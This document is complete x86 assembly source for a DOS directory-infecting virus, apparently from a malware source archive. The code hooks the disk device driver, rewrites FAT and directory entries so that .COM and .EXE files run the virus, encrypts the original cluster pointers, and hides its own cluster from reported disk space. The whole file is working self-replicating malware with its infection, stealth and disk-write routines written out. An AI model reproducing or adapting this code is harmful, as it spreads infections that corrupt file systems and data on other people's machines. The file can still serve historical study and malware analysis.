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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.dir_8.asm

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2021-01-12 23:41:47 +00:00
i13org = 5f8h
i21org = 5fch
dir_2 segment byte public
assume cs:dir_2, ds:dir_2
org 100h
start:
mov sp,600h ; Set up the stack pointer
inc word ptr counter ; Generation counter
xor cx,cx
mov ds,cx ; DS points to interrupt table
lds ax, ds:[0c1h] ; Find interrupt 30h
add ax,21h ; Change it to Int 21h
push ds ; Save it on stack for use by
push ax ; subroutine "jump"
mov ah,30h ; Get DOS version
call jump
cmp al,4 ; DOS 4.X+ : SI = 0
sbb si,si ; DOS 2/3 : SI = -1
mov byte ptr [drive+2],byte ptr -1 ; Initialise last drive to
; "never accessed"
mov bx,60h ; Adjust memory in ES to
mov ah,4ah ; BX paragraphs.
call jump
mov ah,52h ; Get DOS List of Lists
call jump ; to ES:BX
push es:[bx-2] ; Save Segment of first MCB
lds bx,es:[bx] ; DS:BX -> 1st DPB
; (Drive parameter block)
search: mov ax,[bx+si+15h] ; Get segment of device driver
cmp ax,70h ; Is it CONFIG? (I think)
jne next ; If not, try again
xchg ax,cx ; Move driver segment to CX
mov [bx+si+18h],byte ptr -1 ; Flag block must be rebuilt
mov di,[bx+si+13h] ; Save offset of device driver
; Original device driver
; address in CX:DI
mov [bx+si+13h],offset header ; Replace with our own
mov [bx+si+15h],cs ; (header)
next: lds bx,[bx+si+19h] ; Get next device block
cmp bx,-1 ; Is it the last one?
jne search ; If not, search it
jcxz install
pop ds ; Restore segment of first
mov ax,ds ; MCB
add ax,ds:[3] ; Go to next MCB
inc ax ; AX = segment next MCB
mov dx,cs ; DX = MCB owning current
dec dx ; program
cmp ax,dx ; Are these the same?
jne no_boot ; If not, we are not currently
; in the middle of a reboot
add word ptr ds:[3],61h ; Increase length owned by
; MCB by 1552 bytes
no_boot: mov ds,dx ; DS = MCB owning current
; program
mov word ptr ds:[1],8 ; Set owner = DOS
mov ds,cx ; DS = segment of original
; device driver
les ax,[di+6] ; ES = offset int handler
; AX = offset strategy entry
mov word ptr cs:str_block,ax ; Save entry point
mov word ptr cs:int_block,es ; And int block for use in
; function _in
cld ; Scan for the write
mov si,1 ; function in the
scan: dec si ; original device driver
lodsw
cmp ax,1effh
jne scan
mov ax,2cah ; Wicked un-yar place o'
cmp [si+4],ax ; doom.
je right
cmp [si+5],ax
jne scan
right: lodsw
push cs
pop es
mov di,offset modify+1 ; Save address of patch
stosw ; area so it can be changed
xchg ax,si ; later.
mov di,offset i13org ; This is in the stack, but
cli ; it is used by "i13pr"
movsw
movsw
mov dx,0c000h ; Scan for hard disk ROM
; Start search @ segment C000h
fdsk1: mov ds,dx ; Load up the segment
xor si,si ; atart at offset 0000h
lodsw ; Scan for the signature
cmp ax,0aa55h ; Is it the signature?
jne fdsk4 ; If not, change segment
cbw ; clear AH
lodsb ; load a byte to AL
mov cl,9
sal ax,cl ; Shift left, 0 filled
fdsk2: cmp [si],6c7h
jne fdsk3
cmp word ptr [si+2],4ch
jne fdsk3
push dx ; Save the segment
push [si+4] ; and offset on stack
jmp short death ; for use by i13pr
install: int 20h
file: db "c:",255,0
fdsk3: inc si ; Increment search offset
cmp si,ax ; If we are not too high,
jb fdsk2 ; try again
fdsk4: inc dx ; Increment search segment
cmp dh,0f0h ; If we are not in high
jb fdsk1 ; memory, try again
sub sp,4 ; effectively push dummy vars.
death: push cs ; on stack for use by i13pr
pop ds
mov bx,ds:[2ch] ; Get environment from PSP
mov es,bx
mov ah,49h ; Release it (to save memory)
call jump
xor ax,ax
test bx,bx ; Is BX = 0?
jz boot ; If so, we are booting now
mov di,1 ; and not running a file
seek: dec di ; Search for end of
scasw ; the environment block
jne seek
lea si,[di+2] ; SI points to filename
jmp short exec ; (in DOS 3.X+)
; Execute that file
boot: mov es,ds:[16h] ; get PSP of parent
mov bx,es:[16h] ; get PSP of parent
dec bx ; go to its MCB
xor si,si
exec: push bx
mov bx,offset param ; Set up parameter block
; for EXEC function
mov [bx+4],cs ; segment to command line
mov [bx+8],cs ; segment to 1st FCB
mov [bx+12],cs ; segment to 2nd FCB
pop ds
push cs
pop es
mov di,offset f_name
push di ; Save filename offset
mov cx,40 ; Copy the filename to
rep movsw ; the buffer
push cs
pop ds
mov ah,3dh ; Handle open file
mov dx,offset file ; "c:<3A>",0
call jump
pop dx ; DS:DX -> filename
mov ax,4b00h ; Load and Execute
call jump ; ES:BX = param block
mov ah,4dh ; Get errorlevel
call jump
mov ah,4ch ; Terminate
jump: pushf ; Simulate an interrupt 21h
call dword ptr cs:[i21org]
ret
;--------Installation complete
i13pr: mov ah,3 ; Write AL sectors from ES:BX
jmp dword ptr cs:[i13org] ; to track CH, sector CL,
; head DH, drive DL
main: push ax ; driver
push cx ; strategy block
push dx
push ds
push si
push di
push es ; Move segment of parameter
pop ds ; block to DS
mov al,[bx+2] ; [bx+2] holds command code
cmp al,4 ; Input (read)
je input
cmp al,8 ; Output (write)
je output
cmp al,9 ; Output (write) with verify
je output
call in_ ; Call original device
cmp al,2 ; Request build BPB
jne ppp ; If none of the above, exit
lds si,[bx+12h] ; DS:SI point to BPB table
mov di,offset bpb_buf ; Replace old pointer with
mov es:[bx+12h],di ; a pointer to our own
mov es:[bx+14h],cs ; BPB table
push es ; Save segment of parameters
push cs
pop es
mov cx,16 ; Copy the old BPB table to
rep movsw ; our own
pop es ; Restore parameter segment
push cs
pop ds
mov al,[di+2-32] ; AL = sectors per allocation
cmp al,2 ; unit. If less than
adc al,0 ; 2, increment
cbw ; Extend sign to AH (clear AH)
cmp word ptr [di+8-32],0 ; Is total number sectors = 0?
je m32 ; If so, big partition (>32MB)
sub [di+8-32],ax ; Decrease space of disk by
; one allocation unit(cluster)
jmp short ppp ; Exit
m32: sub [di+15h-32],ax ; Handle large partitions
sbb word ptr [di+17h-32],0
ppp: pop di
pop si
pop ds
pop dx
pop cx
pop ax
rts: retf ; We are outta here!
output: mov cx,0ff09h
call check ; is it a new disk?
jz inf_sec ; If not, go away
call in_ ; Call original device handler
jmp short inf_dsk
inf_sec: jmp _inf_sec
read: jmp _read
read_: add sp,16 ; Restore the stack
jmp short ppp ; Leave device driver
input: call check ; Is it a new disk?
jz read ; If not, leave
inf_dsk: mov byte ptr [bx+2],4 ; Set command code to READ
cld
lea si,[bx+0eh] ; Load from buffer address
mov cx,8 ; Save device driver request
save: lodsw ; on the stack
push ax
loop save
mov word ptr [bx+14h],1 ; Starting sector number = 1
; (Read 1st FAT)
call driver ; Read one sector
jnz read_ ; If error, exit
mov byte ptr [bx+2],2 ; Otherwise build BPB
call in_ ; Have original driver do the
; work
lds si,[bx+12h] ; DS:SI points to BPB table
mov ax,[si+6] ; Number root directory entries
add ax,15 ; Round up
mov cl,4
shr ax,cl ; Divide by 16 to find sectors
; of root directory
mov di,[si+0bh] ; DI = sectors/FAT
add di,di ; Double for 2 FATs
stc ; Add one for boot record
adc di,ax ; Add sector size of root dir
push di ; to find starting sector of
; data (and read)
cwd ; Clear DX
mov ax,[si+8] ; AX = total sectors
test ax,ax ; If it is zero, then we have
jnz more ; an extended partition(>32MB)
mov ax,[si+15h] ; Load DX:AX with total number
mov dx,[si+17h] ; of sectors
more: xor cx,cx
sub ax,di ; Calculate FAT entry for last
; sector of disk
sbb dx,cx
mov cl,[si+2] ; CL = sectors/cluster
div cx ; AX = cluster #
cmp cl,2 ; If there is more than 1
sbb ax,-1 ; cluster/sector, add one
push ax ; Save cluster number
call convert ; AX = sector number to read
; DX = offset in sector AX
; of FAT entry
; DI = mask for EOF marker
mov byte ptr es:[bx+2],4 ; INPUT (read)
mov es:[bx+14h],ax ; Starting sector = AX
call driver ; One sector only
again: lds si,es:[bx+0eh] ; DS:SI = buffer address
add si,dx ; Go to FAT entry
sub dh,cl ; Calculate a new encryption
adc dx,ax ; value
mov word ptr cs:gad+1,dx ; Change the encryption value
cmp cl,1 ; If there is 0 cluster/sector
je small_ ; then jump to "small_"
mov ax,[si] ; Load AX with offset of FAT
; entry
and ax,di ; Mask it with value from
; "convert" then test to see
; if the sector is fine
cmp ax,0fff7h ; 16 bit reserved/bad
je bad
cmp ax,0ff7h ; 12 bit reserved/bad
je bad
cmp ax,0ff70h ; 12 bit reserved/bad
jne ok
bad: pop ax ; Tried to replicate on a bad
dec ax ; cluster. Try again on a
push ax ; lower one.
call convert ; Find where it is in the FAT
jmp short again ; and try once more
small_: not di ; Reverse mask bits
and [si],di ; Clear other bits
pop ax ; AX = cluster number
push ax
inc ax ; Need to do 2 consecutive
push ax ; bytes
mov dx,0fh
test di,dx
jz here
inc dx ; Multiply by 16
mul dx
here: or [si],ax ; Set cluster to next
pop ax ; Restore cluster of write
call convert ; Calculate buffer offset
mov si,es:[bx+0eh] ; Go to FAT entry (in buffer)
add si,dx
mov ax,[si]
and ax,di
ok: mov dx,di ; DI = mask from "convert"
dec dx
and dx,di ; Yerg!
not di
and [si],di
or [si],dx ; Set [si] to DI
cmp ax,dx ; Did we change the FAT?
pop ax ; i.e. Are we already on this
pop di ; disk?
mov word ptr cs:pointer+1,ax ; Our own starting cluster
je _read_ ; If we didn't infect, then
; leave the routine. Oh
; welp-o.
mov dx,[si]
push ds
push si
call write ; Update the FAT
pop si
pop ds
jnz _read_ ; Quit if there's an error
call driver
cmp [si],dx
jne _read_
dec ax
dec ax
mul cx ; Multiply by sectors/cluster
; to find the sector of the
; write
add ax,di
adc dx,0
push es
pop ds
mov word ptr [bx+12h],2 ; Byte/sector count
mov [bx+14h],ax ; Starting sector #
test dx,dx
jz less
mov word ptr [bx+14h],-1 ; Flag extended partition
mov [bx+1ah],ax ; Handle the sector of the
mov [bx+1ch],dx ; extended partition
less: mov [bx+10h],cs ; Transfer address segment
mov [bx+0eh],100h ; and the offset (duh)
call write ; Zopy ourselves!
; (We want to travel)
_read_: std
lea di,[bx+1ch] ; Restore device driver header
mov cx,8 ; from the stack
load: pop ax
stosw
loop load
_read: call in_ ; Call original device handler
mov cx,9
_inf_sec:
mov di,es:[bx+12h] ; Bytes/Sector
lds si,es:[bx+0eh] ; DS:SI = pointer to buffer
sal di,cl ; Multiply by 512
; DI = byte count
xor cl,cl
add di,si ; Go to address in the buffer
xor dl,dl ; Flag for an infection in
; function find
push ds
push si
call find ; Infect the directory
jcxz no_inf
call write ; Write it back to the disk
and es:[bx+4],byte ptr 07fh ; Clear error bit in status
; word
no_inf: pop si
pop ds
inc dx ; Flag for a decryption in
; function find
call find ; Return right information to
; calling program
jmp ppp
;--------Subroutines
find: mov ax,[si+8] ; Check filename extension
cmp ax,"XE" ; in directory structure
jne com
cmp [si+10],al
je found
com: cmp ax,"OC"
jne go_on
cmp byte ptr [si+10],"M"
jne go_on
found: test [si+1eh],0ffc0h ; >4MB ; Check file size high word
jnz go_on ; to see if it is too big
test [si+1dh],03ff8h ; <2048B ; Check file size low word
jz go_on ; to see if it is too small
test [si+0bh],byte ptr 1ch ; Check attribute for subdir,
jnz go_on ; volume label or system file
test dl,dl ; If none of these, check DX
jnz rest ; If not 0, decrypt
pointer: mov ax,1234h ; mov ax, XX modified elsewhere
cmp ax,[si+1ah] ; Check for same starting
; cluster number as us
je go_on ; If it is, then try another
xchg ax,[si+1ah] ; Otherwise make it point to
; us.
gad: xor ax,1234h ; Encrypt their starting
; cluster
mov [si+14h],ax ; And put it in area reserved
; by DOS for no purpose
loop go_on ; Try another file
rest: xor ax,ax ; Disinfect the file
xchg ax,[si+14h] ; Get starting cluster
xor ax,word ptr cs:gad+1 ; Decrypt the starting cluster
mov [si+1ah],ax ; and put it back
go_on: db 2eh,0d1h,6 ; rol cs:[gad+1], 1
dw offset gad+1 ; Change encryption and
add si,32 ; go to next file
cmp di,si ; If it is not past the end of
jne find ; the buffer, then try again
ret ; Otherwise quit
check: mov ah,[bx+1] ; ah = unit code (block device
; only)
drive: cmp ah,-1 ; cmp ah, XX can change.
; Compare with the last call
; -1 is just a dummy
; impossible value that will
; force the change to be true
mov byte ptr cs:[drive+2],ah ; Save this call's drive
jne changed ; If not the same as last call
; media has changed
push [bx+0eh] ; If it is the same physical
; drive, see if floppy has
; been changed
mov byte ptr [bx+2],1 ; Tell original driver to do a
call in_ ; media check (block only)
cmp byte ptr [bx+0eh],1 ; Returns 1 in [bx+0eh] if
pop [bx+0eh] ; media has not been changed
mov [bx+2],al ; Restore command code
changed: ret ; CF,ZF set if media has not
; been changed, not set if
; has been changed or we don't
; know
write: cmp byte ptr es:[bx+2],8 ; If we want OUTPUT, go to
jae in_ ; original device handler
; and return to caller
mov byte ptr es:[bx+2],4 ; Otherwise, request INPUT
mov si,70h
mov ds,si ; DS = our segment
modify: mov si,1234h ; Address is changed elsewhere
push [si]
push [si+2]
mov [si],offset i13pr
mov [si+2],cs
call in_ ; Call original device handler
pop [si+2]
pop [si]
ret
driver: mov word ptr es:[bx+12h],1 ; One sector
in_: ; in_ first calls the strategy
; of the original device
; driver and then calls the
; interrupt handler
db 09ah ; CALL FAR PTR
str_block:
dw ?,70h ; address
db 09ah ; CALL FAR PTR
int_block:
dw ?,70h ; address
test es:[bx+4],byte ptr 80h ; Was there an error?
ret
convert: cmp ax,0ff0h ; 0FFF0h if 12 bit FAT
jae fat_16 ; 0FF0h = reserved cluster
mov si,3 ; 12 bit FAT
xor word ptr cs:[si+gad-1],si ; Change the encryption value
mul si ; Multiply by 3 and
shr ax,1 ; divide by 2
mov di,0fffh ; Mark it EOF (low 12 bits)
jnc cont ; if it is even, continue
mov di,0fff0h ; otherwise, mark it EOF (high
jmp short cont ; 12 bits) and then continue
fat_16: mov si,2 ; 16 bit FAT
mul si ; Double cluster #
mov di,0ffffh ; Mark it as end of file
cont: mov si,512
div si ; AX = sector number
; (relative to start of FAT)
; DX = offset in sector AX
header: inc ax ; Increment AX to account for
ret ; boot record
counter: dw 0
dw 842h ; Attribute
; Block device
; DOS 3 OPEN/CLOSE removable
; media calls supported
; Generic IOCTL call supported
; Supports 32 bit sectors
dw offset main ; Strategy routine
dw offset rts ; Interrupt routine (rtf)
db 7fh ; Number of subunits supported
; by this driver. Wow, lookit
; it -- it's so large and juicy
; Parameter block format:
; 0 WORD Segment of environment
; 2 DWORD pointer to command line
; 6 DWORD pointer to 1st default FCB
;10 DWORD pointer to 2nd default FCB
param: dw 0,80h,?,5ch,?,6ch,?
bpb_buf: db 32 dup(?)
f_name: db 80 dup(?)
;--------The End.
dir_2 ends
end start
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